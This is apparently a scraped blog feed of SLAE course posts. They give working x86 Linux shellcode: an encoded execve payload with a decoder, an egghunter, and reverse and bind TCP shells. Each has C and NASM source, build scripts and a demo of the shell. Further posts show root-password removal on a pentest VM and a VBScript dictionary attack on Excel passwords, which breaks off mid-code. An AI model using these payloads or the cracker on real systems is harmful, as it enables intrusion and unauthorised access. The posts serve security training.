shellcode_byte: ; byte part of real shellcode
mov bl, byte [esi + ecx]
mov byte [edi], bl
inc edi ; advance destination
inc ecx ; advance source
cmp byte [esi + ecx], 0xf0 ; check for END marker
jnz decode
cmp byte [esi + ecx + 1], 0x0d
jnz decode
jmp esi ; shellcode decoded in-place. Jump to it
call_shellcode:
call decoder
EncodedShellcode: db 0x04,0x31,0xc0,0x50,0x06,0x08,0x68,0x2f,0x15,0x0b,0x2f,0x12,0x0e,0x73,0x85,0x11,0x68,0x4e,0x14,0x68,0x96,0x18,0x2f,0x62,0xd8,0x1c,0x69,0x6e,0xf9,0x20,0x89,0xe3,0xa9,0x23,0x50,0x6d,0x26,0x89,0x60,0x29,0xe2,0x0e,0x2d,0x53,0x89,0x3b,0x30,0xe1,0xaa,0x34,0xb0,0x0b,0x55,0x37,0xcd,0xe2,0x3b,0x80,0xf0,0x0d
</pre>
<br />
And now to test this:<br />
- encode the execve-stack shellcode using the python script<br />
- disassemble and examine the encoded shellcode<br />
- define the shellcode bytes at the end of the assembly decoder<br />
- assemble<br />
- test using a C program which executes the payload
<br />
<pre class="brush:bash">$ ./custom-encoder.py
\x05\x31\xc0\x50\x68\xb1\x08\x2f\x58\x0c\x2f\x73\x71\x10\x68\x68\x88\x14\x2f\x62\x42\x17\x69\x6a\x1a\x6e\xba\x1d\x89\xf5\x21\xe3\x50\xe0\x25\x89\xe2\xaf\x29\x53\x89\x83\x2d\xe1\xb0\x33\x30\x0b\x1a\x33\xcd\x66\x36\x80\xf0\x0d
0x05,0x31,0xc0,0x50,0x68,0xb1,0x08,0x2f,0x58,0x0c,0x2f,0x73,0x71,0x10,0x68,0x68,0x88,0x14,0x2f,0x62,0x42,0x17,0x69,0x6a,0x1a,0x6e,0xba,0x1d,0x89,0xf5,0x21,0xe3,0x50,0xe0,0x25,0x89,0xe2,0xaf,0x29,0x53,0x89,0x83,0x2d,0xe1,0xb0,0x33,0x30,0x0b,0x1a,0x33,0xcd,0x66,0x36,0x80,0xf0,0x0d
Initial len: 25, encoded len: 56
$ echo -ne "\x05\x31\xc0\x50\x68\xb1\x08\x2f\x58\x0c\x2f\x73\x71\x10\x68\x68\x88\x14\x2f\x62\x42\x17\x69\x6a\x1a\x6e\xba\x1d\x89\xf5\x21\xe3\x50\xe0\x25\x89\xe2\xaf\x29\x53\x89\x83\x2d\xe1\xb0\x33\x30\x0b\x1a\x33\xcd\x66\x36\x80\xf0\x0d" | ndisasm -b 32 -
00000000 0531C05068 add eax,0x6850c031
00000005 B108 mov cl,0x8
00000007 2F das
00000008 58 pop eax
00000009 0C2F or al,0x2f
0000000B 7371 jnc 0x7e
0000000D 106868 adc [eax+0x68],ch
00000010 88142F mov [edi+ebp],dl
00000013 624217 bound eax,[edx+0x17]
00000016 696A1A6EBA1D89 imul ebp,[edx+0x1a],dword 0x891dba6e
0000001D F5 cmc
0000001E 21E3 and ebx,esp
00000020 50 push eax
00000021 E025 loopne 0x48
00000023 89E2 mov edx,esp
00000025 AF scasd
00000026 295389 sub [ebx-0x77],edx
00000029 832DE1B033300B sub dword [dword 0x3033b0e1],byte +0xb
00000030 1A33 sbb dh,[ebx]
00000032 CD66 int 0x66
00000034 3680F00D ss xor al,0xd
$ ./compile.sh
[+] Assembling egghunter
[+] Linking egghunter
\xeb\x2d\x5e\x8d\x3e\x31\xc0\x8a\x06\x31\xdb\x6a\x01\x59\x39\xc1\x75\x07\x83\xc1\x02\x8a\x44\x06\x01\x8a\x1c\x0e\x88\x1f\x47\x41\x80\x3c\x0e\xf0\x75\xe8\x80\x7c\x0e\x01\x0d\x75\xe1\xff\xe6\xe8\xce\xff\xff\xff\x04\x31\xc0\x50\x06\x08\x68\x2f\x15\x0b\x2f\x12\x0e\x73\x85\x11\x68\x4e\x14\x68\x96\x18\x2f\x62\xd8\x1c\x69\x6e\xf9\x20\x89\xe3\xa9\x23\x50\x6d\x26\x89\x60\x29\xe2\x0e\x2d\x53\x89\x3b\x30\xe1\xaa\x34\xb0\x0b\x55\x37\xcd\xe2\x3b\x80\xf0\x0d
[+] House cleaning
[+] Done!
$ ./shellcode
Shellcode Length: 112 bytes
$ whoami
liv
$
</pre>
<br />
The complete source files and scripts mentioned in this post can be found in the Git repository:<br />
<a href="https://github.com/pennypecker/slae">SLAE</a><br />
<br />
<b><span style="font-size: x-small;"><i>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: </i></span></b><br />
<b><span style="font-size: x-small;"><i>www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ <br />Student ID: SLAE- 449</i></span> </b>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5110749938849380105.post-16714562949727664462013-08-04T18:47:00.000+03:002013-08-04T18:47:36.387+03:00Creating Egghunter shellcodesFor the third assignment of SLAE course I've studied different egghunter payloads. The starting reference paper for this is skape's <a href="http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf">Safely Searching Process Virtual Address Space</a>. <br />
<br />
I've implemented the 3 methods described in the paper:<br />
<ul>
<li><span style="font-family: Verdana,sans-serif;">access() </span>- <b><i>Small</i></b> and <b><i>robust</i></b> egghunter using access(0 system call to check validity of addresses. Cons: size is <b><i>39 bytes</i></b> and the <i>egg needs to be executable</i> because after finding it, the execution jump before the egg and continues on.</li>
<li><span style="font-family: Verdana,sans-serif;">access() revisited</span> - <i><b>smaller</b></i> (<b><i>35 bytes</i></b>), minor speed improvements, <i>egg does not need to be executable</i>. Cons: sets DF flag in case of failure (in <i>very rare cases</i> this could impact the running of the host application)</li>
<li><span style="font-family: Verdana,sans-serif;">sigaction()</span> - <b><i>even smaller</i></b> (<b><i>30 bytes)</i></b>, robust and very fast (validates 16 bytes at a time). Cons: some very rare odd failure situation described in detail in the paper.</li>
</ul>
For the purpose of this post, I'll detail a slightly modified version of the sigaction() egghunter:<br />
<ul>
<li><span style="font-family: Verdana,sans-serif;">sigaction() reloaded</span> - the <b><i>smallest</i></b> version (only <i><b>28 bytes</b></i>). I've replaced the double check for the egg with only one check. To avoid finding the egg in the comparison from the shellcode, I've applied a small transform before searching for it (<b><i>inc eax</i></b> in this case, but could be any other 1 bytecode operation also - e.g. shifting bytes). </li>
</ul>
<pre class="brush:asm; highlight: [13, 14] ">global _start
section .text
_start:
or cx,0xfff ; page allignment
next_addr:
inc ecx ; Pointer to region to be validated
push byte +0x43 ; sigaction() syscall number
pop eax ; Syscall number in eax
int 0x80 ; Execut ethe syscall
cmp al,0xf2 ; Compare with EFAULT
jz short _start ; Go to next page
mov eax, <EGG> ; The egg
inc eax ; Egg modification. Avoid first find from above!
mov edi,ecx ; Prepare for comparison
scasd ; Compare
jnz short next_addr ; Jump to next address
jmp edi ; Jump to shellcode
</pre>
<br />
To test it I've used the following C program simulating a real payload:<br />
<span style="font-family: "Courier New",Courier,monospace;">[ filler ] [ egghunter ] [ garbage ] [ shellcode ]</span><br />
<pre class="brush:c">#include <stdio.h>
#include <string.h>
#define EGG "<EGG>"
unsigned char sled[] = "Some misc bytes here";
unsigned char egghunter[] =
"<EGGHUNTER>";
unsigned char garbage[] = "Garbage, mangled bytes, whatever";
// execve(/bin/sh,..) shellcode here
unsigned char shellcode[] = EGG
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
// Function pointer
typedef int (*func_ptr)();
void main() {
printf("Egghunter length: %d bytes\n", strlen(egghunter));
printf("Shellcode Length: %d bytes\n", strlen(shellcode));
((func_ptr) egghunter)();
}
</pre>
The egg is configurable, and the compilation takes place from a wrapper script:
<br />
<pre class="brush:bash">$ ./compile.sh
Usage: compile.sh {4 chars EGG mark}
E.g.: compile.sh W00T
$ ./compile.sh BUBU
[*] Using egg BUBU
[*] (Modified) Egg hex:, 0x55425542
[+] Replace egg with, BUBU
[+] Assembling egghunter
[+] Linking egghunter
[*] Egghunter:
\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x42\x55\x42\x55\x40\x89\xcf\xaf\x75\xeb\xff\xe7
[+] Compile shellcode tester
[+] House cleaning
[+] Done! run ./shellcode
$ ./shellcode
Egghunter length: 28 bytes
Shellcode Length: 29 bytes
$ whoami
liv
$
</pre>
<br />
The complete source files and scripts mentioned can be found in the Git repository:<br />
<a href="https://github.com/pennypecker/slae">SLAE</a><br />
<br />
<b><span style="font-size: x-small;"><i>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: </i></span></b><br />
<b><span style="font-size: x-small;"><i>www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ <br />Student ID: SLAE- 449</i></span> </b>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5110749938849380105.post-10262521677450911702013-08-04T18:46:00.000+03:002013-08-04T18:46:23.919+03:00Reverse TCP ShellcodeThis is the second assignment of the SLAE exam: building a reverse TCP shellcode. As for the previous bind tcp one, I've started with a C program that creates a reverse TCP connection:<br />
<pre class="brush:c; highlight: [18,25,28,34,40,51]">#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
int main() {
int sockfd = 0;
int ret = 0;
struct sockaddr_in dest;
// Create an un-named socket. returns socket descriptor
sockfd = socket(AF_INET, SOCK_STREAM, 0);
memset(&dest, '0', sizeof(struct sockaddr));
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = inet_addr("127.0.0.1");
dest.sin_port = htons(8888);
connect(sockfd, (struct sockaddr *)&dest, sizeof(struct sockaddr));
// Duplicate stdin, stdout, stderr
ret = dup2(sockfd, 0);
if (-1 == ret) {
printf("STDIN duplication failed: %s\n", strerror(errno));
return 1;
}
ret = dup2(sockfd, 1);
if (-1 == ret) {
printf("STDOUT duplication failed: %s\n", strerror(errno));
return 1;
}
ret = dup2(sockfd, 2);
if (-1 == ret) {
printf("STDERR duplication failed: %s\n", strerror(errno));
return 1;
}
// Replace process image
char *args[2];
args[0] = "/bin/sh";
args[1] = NULL; // Needs to ne a NULL terminated list of args
ret = execve(args[0], args, NULL);
if (-1 == ret) {
printf("Execve failed: %s\n", strerror(errno));
return 1;
}
return 0;
}
</pre>
<br />
I've then compiled the reverse shell:<br />
<pre class="brush:bash">$ gcc -Wall shell_reverse_tcp.c -o shell_reverse_tcp
</pre>
Started the listener:
<br />
<pre class="brush:bash">$ nc -lvvp 8888
Listening on [0.0.0.0] (family 0, port 8888)
</pre>
And in another terminal executed the reverse shellcode:
<br />
<pre class="brush:bash">$ ./shell_reverse_tcp
</pre>
<pre class="brush:bash">Listening on [0.0.0.0] (family 0, port 8888)
Connection from [127.0.0.1] port 8888 [tcp/*] accepted (family 2, sport 60226)
whoami
liv
</pre>
<br />
To see the system calls necessary to implement this in assembly, I've used strace:<br />
<pre class="brush:bash">$ strace ./shell_reverse_tcp
...
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(8888), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
dup2(3, 0) = 0
dup2(3, 1) = 1
dup2(3, 2) = 2
execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = 0
</pre>
<br />
Next is the commented assembly source implementing the system calls from above:<br />
<pre class="brush:asm">global _start
section .text
_start:
; Linux Syscall Reference
; http://syscalls.kernelgrok.com/
; 1. socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = sockfd
xor eax, eax
xor ebx, ebx
xor ecx, ecx
push ecx ; NULL terminate args list
mov cl, 6 ; IPPROTO_TCP (6)
push ecx
xor ecx, ecx
mov cl, 1 ; SOCK_STREAM (1) - in socket.h
push ecx
xor ecx, ecx
mov cl, 2 ; PF_INET (2) - IP PROTO FAMILY
push ecx
mov ecx, esp ; socketcall arguments
xor ebx, ebx
mov bl, 1 ; socketcall type of call: SYS_SOCKET (1)
push 102
pop eax ; socketcall syscall
int 0x80
mov edx, eax ; sockfd is returned in eax. Save into edx
; 2. connect(3, {sa_family=AF_INET, sin_port=htons(8888), sin_addr=inet_addr("127.0.0.1")}, 16)
;struct sockaddr_in {
; short sin_family; // e.g. AF_INET, AF_INET6
; unsigned short sin_port; // e.g. htons(3490)
; struct in_addr sin_addr; // see struct in_addr, below
; char sin_zero[8]; // zero this if you want to
;};
;struct in_addr {
; unsigned long s_addr; // load with inet_pton()
;};
push <IP> ; IP address
push word <PORT>; 16 bits - port number
push word 2 ; family - AF_INET (2)
mov ecx, esp ; pointer to args
push byte 0x10 ; Address length - 16 bytes
push ecx ; Pointer to sockaddr_in structure
push edx ; sockfd from socket call
mov ecx, esp ; socketcall arguments
xor ebx, ebx
mov bl, 3 ; socketcall type of call: SYS_CONNECT (3)
xor eax, eax
mov al, 102 ; socketcall syscall
int 0x80
; 3. dup2(connfd, 2), dup2(connfd, 1), dup2(connfd, 0)
push 2
pop ecx ; ecx - newfd
mov ebx, edx ; edx - connfd, ebx - oldfd
dup_loop:
mov al, 63 ; dup2 syscall
int 0x80
dec ecx
jns dup_loop ; exit when signed (-1)
; 4. execve("/bin/sh", ["/bin/sh"], [/* 0 vars */])
; PUSH the first null dword
xor eax, eax
push eax
; PUSH //bin/sh (8 bytes)
push 0x68732f2f ; 'hs//'
push 0x6e69622f ; 'nib/
mov ebx, esp ; EBX - 1st param - NULL terminated filename
push eax ; EDX - 3rd param - NULL terminated list of env variables
mov edx, esp ; NULL terminator must be set before setting the 2nd param!
push ebx ; ECX - 2nd param - array of argument strings
mov ecx, esp
mov al, 11 ; execve syscall
int 0x80
</pre>
<br />
The IP and port are replaced by a bash script, which does compilation and linking:<br />
<pre class="brush:bash">$ ./compile.sh
Usage: compile.sh {ip} {port}
$ ./compile.sh 127.0.0.2 8899
[+] Replacing IP with 0x0200007f
[+] Replacing port number with 0xc322
[+] Assembling with Nasm ...
[+] Linking ...
[+] Cleaning ...
[+] Done!
$ nc -lvvp 8899
Listening on [0.0.0.0] (family 0, port 8899)
$ ./shell_reverse_tcp
Connection from [127.0.0.1] port 8899 [tcp/*] accepted (family 2, sport 41801)
whoami
liv
</pre>
<br />
The complete source files, wrapper bash script and test shellcode can be found in a git repository at:<br />
<a href="https://github.com/pennypecker/slae">SLAE</a><br />
<br />
<b><span style="font-size: x-small;"><i>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: </i></span></b><br />
<b><span style="font-size: x-small;"><i>www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ <br />Student ID: SLAE- 449</i></span> </b>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5110749938849380105.post-9726703585860568432013-08-04T18:45:00.000+03:002013-08-04T18:45:47.763+03:00Bind TCP shellcode To create a bind TCP shellcode, I've first started with a small C program to do this and analysed the system calls. The following program listens for incoming connections and spawns a new shell:
<br />
<pre class="brush:c; highlight: [18, 25, 28, 31, 35,41, 47,58] ">#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
int main() {
int listenfd = 0, connfd = 0;
int ret = 0;
struct sockaddr_in serv_addr;
// Create an un-named socket. returns socket descriptor
listenfd = socket(AF_INET, SOCK_STREAM, 0);
memset(&serv_addr, '0', sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(4444);
bind(listenfd, (struct sockaddr*) &serv_addr, sizeof(serv_addr));
// Listen on the created socket for maximum 1 client connection
listen(listenfd, 1);
// Sleep waiting for client requests
connfd = accept(listenfd, (struct sockaddr*) NULL, NULL);
printf("Created accept socket: %d\n", connfd);
// Duplicate stdin, stdout, stderr
ret = dup2(connfd, 0);
if (-1 == ret) {
printf("STDIN duplication failed: %s\n", strerror(errno));
return 1;
}
ret = dup2(connfd, 1);
if (-1 == ret) {
printf("STDOUT duplication failed: %s\n", strerror(errno));
return 1;
}
ret = dup2(connfd, 2);
if (-1 == ret) {
printf("STDERR duplication failed: %s\n", strerror(errno));
return 1;
}
// Replace process image
char *args[2];
args[0] = "/bin/sh";
args[1] = NULL; // Needs to ne a NULL terminated list of args
ret = execve(args[0], args, NULL);
if (-1 == ret) {
printf("Execve failed: %s\n", strerror(errno));
return 1;
}
return 0;
}
</pre>
We can test and see we get a shell:
<br />
<pre class="brush:bash">$ gcc -Wall shell_bind_tcp.c -o shell_bind_tcp
$ ./shell_bind_tcp &
[1] 4528
$ nc -nvv 127.0.0.1 4444
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
Created accept socket: 4
whoami
liv
</pre>
We can then analyse the system calls necessary to bind the socket, listen for connections and execute the shell:
<br />
<pre class="brush:bash">$ strace ./shell_bind_tcp
...
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 1) = 0
accept(3, 0, NULL) = 4
dup2(4, 0) = 0
dup2(4, 1) = 1
dup2(4, 2) = 2
execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = 0
</pre>
<br />
The next step is to reproduce these system calls in assembly and get the shellcode:<br />
<pre class="brush:asm">; SLAE - Assignment 1
;
; Shell Bind TCP
;
global _start
section .text
_start:
; Linux Syscall Reference
; http://syscalls.kernelgrok.com/
; 1. socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = listenfd
xor eax, eax
xor ebx, ebx
xor ecx, ecx
push ecx ; NULL terminate args list
mov cl, 6 ; IPPROTO_TCP (6)
push ecx
xor ecx, ecx
mov cl, 1 ; SOCK_STREAM (1) - in socket.h
push ecx
xor ecx, ecx
mov cl, 2 ; PF_INET (2) - IP PROTO FAMILY
push ecx
mov ecx, esp ; socketcall arguments
xor ebx, ebx
mov bl, 1 ; socketcall type of call: SYS_SOCKET (1)
push 102
pop eax ; socketcall syscall
int 0x80
mov edx, eax ; listenfd is returned in eax. Save into edx
; 2. bind(listenfd, {sa_family=AF_INET, sin_port=htons(4444), \
; sin_addr=inet_addr("0.0.0.0")}, 16)
;struct sockaddr_in {
; short sin_family; // e.g. AF_INET, AF_INET6
; unsigned short sin_port; // e.g. htons(3490)
; struct in_addr sin_addr; // see struct in_addr, below
; char sin_zero[8]; // zero this if you want to
;};
;struct in_addr {
; unsigned long s_addr; // load with inet_pton()
;};
xor ecx, ecx ; Construct sockaddr structure on the stack
push ecx ; inet_addr - 0.0.0.0 - INADDR_ANY
push word <PORT>; 16 bits - port number
push word 2 ; family - AF_INET (2)
mov ecx, esp ; pointer to args
push byte 0x10 ; Address length - 16 bytes
push ecx ; Pointer to sockaddr_in structure
push edx ; listenfd from socket call
mov ecx, esp ; socketcall arguments
xor ebx, ebx
mov bl, 2 ; socketcall type of call: SYS_BIND (2)
xor eax, eax
mov al, 102 ; socketcall syscall
int 0x80
; 3. listen(listenfd, 1)
push 1 ; max connections
push edx ; listenfd
mov ecx, esp ; pointer to socketcall arguments
push 4
pop ebx ; SYS_LISTEN (4)
push 102
pop eax ; socketcall syscall
int 0x80
; 4. accept(listenfd, 0, NULL) = connfd
xor ecx, ecx
push ecx ; NULL
push ecx ; 0
push edx ; listenfd
mov ecx, esp ; pointer to socketcall arguments
push 5
pop ebx ; SYS_ACCEPT = 5
push 102
pop eax ; socketcall syscall
int 0x80 ; connfd will be in eax
mov edx, eax ; save new connection descriptor
; 5. dup2(connfd, 2), dup2(connfd, 1), dup2(connfd, 0)
push 2
pop ecx ; ecx - newfd
mov ebx, edx ; edx - connfd, ebx - oldfd
dup_loop:
mov al, 63 ; dup2 syscall
int 0x80
dec ecx
jns dup_loop ; exit when signed (-1)
; 6. execve("/bin/sh", ["/bin/sh"], [/* 0 vars */])
; PUSH the first null dword
xor eax, eax
push eax
; PUSH //bin/sh (8 bytes)
push 0x68732f2f ; 'hs//'
push 0x6e69622f ; 'nib/
mov ebx, esp ; EBX - 1st param - NULL terminated filename
push eax ; EDX - 3rd param - NULL terminated list of env variables
mov edx, esp ; NULL terminator must be set before setting the 2nd param!
push ebx ; ECX - 2nd param - array of argument strings
mov ecx, esp
mov al, 11 ; execve syscall
int 0x80
</pre>
<br />
To make the port number easily configurable, I've made a bash wrapper, which replaces PORT with a command line argument and then assembles and links the asm source<br />
<br />
The complete source files, wrapper script and test shellcode can be found in a git repository at:<br />
<a href="https://github.com/pennypecker/slae">SLAE</a><br />
<br />
<br />
<b><span style="font-size: x-small;"><i>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: </i></span></b><br />
<b><span style="font-size: x-small;"><i>www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ <br />Student ID: SLAE- 449</i></span> </b>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5110749938849380105.post-74154096625603449002013-05-17T14:49:00.000+03:002013-05-17T14:49:00.259+03:00Troubleshooting network connectivity for Holynix on VirtualBox<a href="http://sourceforge.net/projects/holynix/">Holynix</a> is a <i>"Linux vmware image that was deliberately built to have security holes for the purposes of penetration testing". </i>It has 2 levels and solutions are <a href="http://blog.g0tmi1k.com/2011/08/video-holynix-level-1.html">already</a> <a href="http://blog.g0tmi1k.com/2011/08/video-holynix-level-2.html">published</a>. In this post I'll details my approach to set up network connectivity for the 2 Holynix VMs and another Backtrack VM, all running in VirtualBox.<br />
After some unsuccessful attempts to make it run under VirtualBox and have connectivity, I decided to reset the root password and actually check and understand the network settings.<br />
<br />
<h4>
To reset the root password</h4>
<ul>
<li>I've first install VmWare Player <a href="http://www.webupd8.org/2012/06/how-to-install-vmware-player-in-ubuntu.html">on Ubuntu</a>.</li>
</ul>
<ul>
<li>The open VM in VMWare player</li>
</ul>
- <i>Edit Virtual Machine Settings</i><br />
- Go to <i>Hard Disk</i><br />
- <i>Utilities</i> (at the bottom) <br />
- <i>Mount Disk</i> and select the second ext partition<br />
<ul>
<li>Make a copy of the /etc/shadow file</li>
<li>Delete the password hash of root from /etc/shadow</li>
<li>Start again the VM in VirtualBox and login as root without password!</li>
</ul>
<h4>
Holynix Level 1</h4>
To have connectivity between this machine and the bt machine, I just added an internal network adapter and put Holynix VM in the same lan as bt machine<br />
Then got an IP through DHCP server of the internal network (already configured!)<br />
<span style="font-family: Verdana,sans-serif;"># dhclient eth1 </span><br />
(or just apply the steps in next session to have eth0 instead eth1 and get IP automatically on eth0)<br />
<br />
<h4>
Holynix Level 2</h4>
First I've also removed root password.<br />
<br />
Then for the network settings<br />
<ul>
<li>Add holynix2 and bt to a new internal network</li>
<li>Holynix2 assigns static IP 192.168.1.88 on interface eth0 ! (Firewall rules seen when booting show eth0 also)</li>
<li>The <span style="font-family: Verdana,sans-serif;">/etc/network/interfaces</span> file contains the following:</li>
</ul>
<span style="font-family: Verdana,sans-serif;">auto lo<br />iface lo inet loopback<br /><br />auto eth0<br />iface eth0 inet static<br /> address 192.168.1.88<br /> netmask 255.255.255.0<br /> network 192.168.1.0<br /> broadcast 192.168.1.255<br /> gateway 192.168.1.1</span><br />
<br />
But we just have eth1, not eth0 ?!<br />
If we examine the kernel messages we see:<br />
<span style="font-family: Verdana,sans-serif;"># dmesg | grep eth</span><br />
...<br />
<i>udev: renamed network interface eth0 to eth1</i><br />
..<br />
<br />
The explanation for this is found on virtualbox forums:<br />
<a href="https://forums.virtualbox.org/viewtopic.php?f=7&t=43090">[SOLVED]Missing eth0 in Ubuntu guest</a><br />
<br />
Basically the problem is that each time a VBox guest has a new/different MAC, Debian and Ubuntu guests udev assigns a new eth number. By deleting that file, it is recreated correctly at the next reboot).<br />
<br />
<span style="font-family: Verdana,sans-serif;"># cd /etc/udev/rules.d<br /># sudo mv 70-persistent-net.rules 70-persistent-net.rules_old<br /># sudo reboot</span><br />
<br />
After the reboot, eth0 will be present and configured properly.<br />
<br />
<br />
<br />
For the Bbacktrack machine, we'll configure the interface that's in the same internal network as Holynix 2 VM:<br />
<span style="font-family: Verdana,sans-serif;"># ifconfig eth4 down<br /># ifconfig eth4 192.168.1.1 netmask 255.255.255.0<br /># ifconfig eth4 up</span><br />
<br />
Now check that we have connectivity between bt and holynix machines and happy hacking <i>!</i>Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-5110749938849380105.post-23820465492587404862013-04-01T22:18:00.000+03:002013-04-01T22:18:00.548+03:00Fair result with biased coin<span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"> This is a nice short question: <i>How can you get fair results from tossing a biased coin</i> ? (but not completely biased though, with a side having 0 probability!). The solution given by von Neumann is as follows:</span><br />
<ol>
<li><span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"> Toss the coin twice.</span></li>
<li><span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"> If the results match, start over, forgetting both results.</span></li>
<li><span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"> If the results differ, use the first result, forgetting the second.</span></li>
</ol>
<br />
This produces the correct result because even with this biased coin, the probability of heads then tails is equal to the probability of getting tails then heads. So out of the 4 possible events (H-T, H-H, T-H, T-T) we are left with 2 events with the same probability.<br />
<br />
I made a small python script to see how many tries are needed as the probability of the biased faces varies away from 0.5
<br />
<pre class="brush:python;"># Biased coin probability to get heads
p = 0.7
# Simulate the bias
N = 1000000
random.seed()
v = [0] * int(N * p) + [1] * int(N * (1-p))
random.shuffle(v)
# Fair events
cnt = 0
# Total events
ev = 0
while cnt<200:
idx1 = random.randint(0, N-1)
idx2 = random.randint(0, N-1)
if(v[idx1] != v[idx2]):
cnt +=1
ev += 1
# For p = 0.5 ev ~= cnt*2
print "Events needed to get X fair tosses: %d" % (ev)
</pre>
<br />
<b>References</b><br />
<a href="http://en.wikipedia.org/wiki/Fair_coin#Fair_results_from_a_biased_coin">Fair results from a biased coin</a>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5110749938849380105.post-31015279090765189912013-03-02T22:00:00.000+02:002013-03-02T22:00:01.802+02:00Dictionary attack on Excel passwords<div>
When thinking about the security of encrypted Excel documents, I found a<span style="font-family: Arial, Helvetica, sans-serif;"> great article analyzing security of encryption algorithms for Excel spreadsheets [1]. The bottom line is that:</span></div>
<div>
<ul style="font-size: 16px;">
<li><span style="font-family: Arial, Helvetica, sans-serif;">Encryption in Excel 2007 IS secure only for ".docx". For ".doc" it's NOT secure with default settings</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">Encryption in Excel 2002 and 2003 IS secure, but NOT when used with default settings!</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">Encryption in Excel 95, 97 and 2000 is NOT secure at all.</span></li>
</ul>
<span style="font-family: Arial, Helvetica, sans-serif;">Instructions on how to make sure you're using the most secure algorithms and how to change the default settings in the referenced link.</span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span><b><span style="font-size: large;">How to set/change password to open and password to modify</span></b><br />
Changing/removing the password to open a file is pretty straight-forward in Excel 2007-2010: from the <b>File </b>menu, chose <b>Info</b>, then <b>Encrypt with password</b>. </div>
<div>
Changing the password to modify I found is not so straight-forward. To set/remove a "<i>read-only</i>" password, from the <b>Save </b>or<b> Save As</b> dialog boxes, select <b>General Options</b> from the <b>Tools</b> drop-down menu to open the General Options dialog box. There, in the <i>Password to modify</i> box, you can enter the new password or blank to remove the current one. </div>
<div>
<br /></div>
<div>
<span style="font-size: large;"><b>Dictionary attack</b></span></div>
<div>
If the password is a dictionary word, then it's pretty easy to find it. I've made a small vbs script to attack these 2 passwords (password to open and password to modify) using words from a dictionary file. This could also be extended to something like the rules in jtr to intelligently guess/brute-force more passwords, based on tendencies (e.g. KoreLogic John rules [3]). <br />
It's just a proof of concept, and it's very slow, it could be extended to use more threads or optimized. </div>
<pre class="brush:vb;">' *****************************************************************
' Dictionary attack on Excel passwords
'
' Uses Workbooks.open method and a password dictionary to test:
' 1) password to open
' 2) password for write access, using open password
'
' Usage: "CScript excel-pw-attack.vbs <test .xls=""> <words .dic="">"
'
' Full Description:
' http://insecure.tk/......
' *****************************************************************
Option Explicit
On Error Resume Next
Dim objExcel
Set objExcel = WScript.CreateObject("Excel.Application")
objExcel.visible=False
Dim args
if WScript.Arguments.Count < 2 or WScript.Arguments.Count > 3 then
WScript.Echo "Usage: "
WScript.Echo "Search password for open: "
WScript.Echo " CScript " & WScript.ScriptName & " <excel file=""> <dictionary file="">"
WScript.Echo "Search password for modify, using password to open: "
WScript.Echo " CScript " & WScript.ScriptName & " <excel file=""> <dictionary file=""> <open password="">"
WScript.Quit 1
end if
' Excel file should be in the script's directory
Dim xlsFile, currentPath
currentPath = replace(WScript.ScriptFullName, WScript.ScriptName, "")
xlsFile = currentPath & WScript.Arguments(0)
WScript.Echo "Brute-forcing excel file: " & xlsFile
WScript.Echo "Using dictionary file: " & WScript.Arguments(1)
if WScript.Arguments.Count = 3 then
WScript.Echo "Using open password " & WScript.Arguments(2) & " to get the write password"
end if
' Read the passwords from the dictionary file
Dim objFSO
Set objFSO = CreateObject("Scripting.FileSystemObject")
Dim objFile
Const ForReading = 1
Set objFile = objFSO.OpenTextFile(currentPath & WScript.Arguments(1), ForReading)
Dim currLine, bFound
bFound = False
While Not bFound And Not objFile.AtEndOfStream
currLine = objFile.ReadLine
WScript.Echo "[*] Testing solution " & currLine
if WScript.Arguments.Count = 3 then
objExcel.Workbooks.Open xlsFile, , , , WScript.Arguments(2), currLine
else
' Try to open it in read-only mode
objExcel.Workbooks.Open xlsFile, ,True , , currLine
end if
if Err.Number > 0 then
'WScript.Echo Err.Description & Err.Number
Err.Clear
else
bFound = True
if WScript.Arguments.Count = 3 then
